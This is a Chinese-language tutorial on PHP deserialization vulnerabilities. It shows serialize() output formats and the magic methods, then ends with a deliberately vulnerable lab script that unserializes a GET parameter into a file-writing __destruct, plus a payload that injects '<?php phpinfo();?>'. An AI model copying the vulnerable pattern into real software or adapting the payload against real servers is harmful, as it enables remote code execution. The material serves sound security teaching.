[web安全原理]PHP反序列化漏洞

php

$str=NULL;

$xl_str=serialize($str);

print_r($xl_str);

?>

页面结果为: N;

php

$str1=true;

$str2=false;

$xl_str1=serialize($str1);

$xl_str2=serialize($str2);

print_r($xl_str1."
");

print_r($xl_str2);

?>

页面结果为:
b:1;
b:0;

php

$str1=123;

$xl_str1=serialize($str1);

print_r($xl_str1);

?>

页面显示为:i:123;

php
$double1=1.23;
$xl_str1=serialize($double1);
print_r($xl_str1);
?>

页面显示为:d:1.23;

php
$str1="test xiaohua";
$xl_str1=serialize($str1);
print_r($xl_str1);
?>

页面显示结果为：s:12:"test xiaohua";

a::{…}

php
$shu=array('xiaohua1','xiaohua2','xiaohua3');
$xl_str1=serialize($shu);
print_r($xl_str1);
?>

页面显示结果:a:3:{i:0;s:8:"xiaohua1";i:1;s:8:"xiaohua2";i:2;s:8:"xiaohua3";}

O::""::{...}

php
class xiaohua{
public $str='xiaohua';
public $str2="huahua";
function Func(){
        print("this is Func''");
}
}
 
$aaa=new xiaohua;
$se=serialize($aaa);
print $se;

?>

页面显示结果:
O:7:"xiaohua":2:{s:3:"str";s:7:"xiaohua";s:4:"str2";s:6:"huahua";}
s:3:"str";s:7:"xiaohua";

php

class xiaohua{

       public $str='xiaohua';

       public $str2="huahua";

       function Func(){

              print("this is Func''");

       }

}


$aaa=new xiaohua;

$se=serialize($aaa);

$stra='O:7:"xiaohua":2:{s:3:"str";s:7:"xiaohua";s:4:"str2";s:6:"huahua";} ';

$stra=unserialize($stra);

var_dump($stra);

?>

页面显示结果：object(xiaohua)#2 (2) { ["str"]=> string(7) "xiaohua" ["str2"]=> string(6) "huahua" }

 1 php
 2 class xiaohua{
 3 
 4        function __construct(){
 5 
 6                      print "In construct 
";
 7 
 8                      $this->name="my xiaohua";
 9 
10        }
11 
12        function __destruct(){
13 
14               print "Destruct
" .$this->name."\n";
15 
16        }
17 
18 }
19 
20 $obj=new xiaohua();
21 
22 ?>
25 执行结果:
26 In construct
27 Destruct
28 my xiaohua

 1 php
 2 
 3 class xiaohua{
 4 
 5     function huahua(){
 6 
 7            $this->name="huahua";
 8 
 9            print $this->name;
10 
11     }
12 
13     function __wakeup(){
14 
15            echo "wakeup  
";
16 
17     }
18 
19     function __sleep(){
20 
21            echo "
 sleep 
";
22 
23            return array('name');
24     }
25 
26 }
27 
28 $sst='O:7:"xiaohua":2:{s:3:"str";s:7:"xiaohua";s:4:"str2";s:6:"huahua";} ';
29 $sst=unserialize($sst);
30 var_dump($sst);
31 $xiaohua1=new xiaohua;
32 $xiaohua1->name="bobo";
33 $sr=serialize($xiaohua1);
34 print $sr;
35 
36 ?>
37 执行结果:
38 wakeup
39 object(xiaohua)#1 (2) { ["str"]=> string(7) "xiaohua" ["str2"]=> string(6) "huahua" }
40 sleep
41 O:7:"xiaohua":1:{s:4:"name";s:4:"bobo";}

 1 php
 2 highlight_file(__FILE__);
 3 class a{
 4        var $test='hello';
 5        function __destruct(){
 6               $fp=fopen("C:\phpStudy\PHPTutorial\WWW\hua.php","w");
 7               print "===".$this->test;
 8               fputs($fp,$this->test);
 9               fclose($fp);
10        }
11 }
12 
13 $class=stripslashes($_GET['re']);
14 print $class;
15 $class_unser=unserialize($class);
16 require 'C:\phpStudy\PHPTutorial\WWW\hua.php';
17 ?>

 1 php
 2 class a{
 3        var $test='<？php phpinfo();？>';
 4 }
 5 $a=new a();
 6 $class_sere=serialize($a);
 7 print_r($class_sere)
 8 ?>
 9 执行结果：
10  O:1:"a":1:{s:4:"test";s:22:"<？php%20phpinfo();？>";}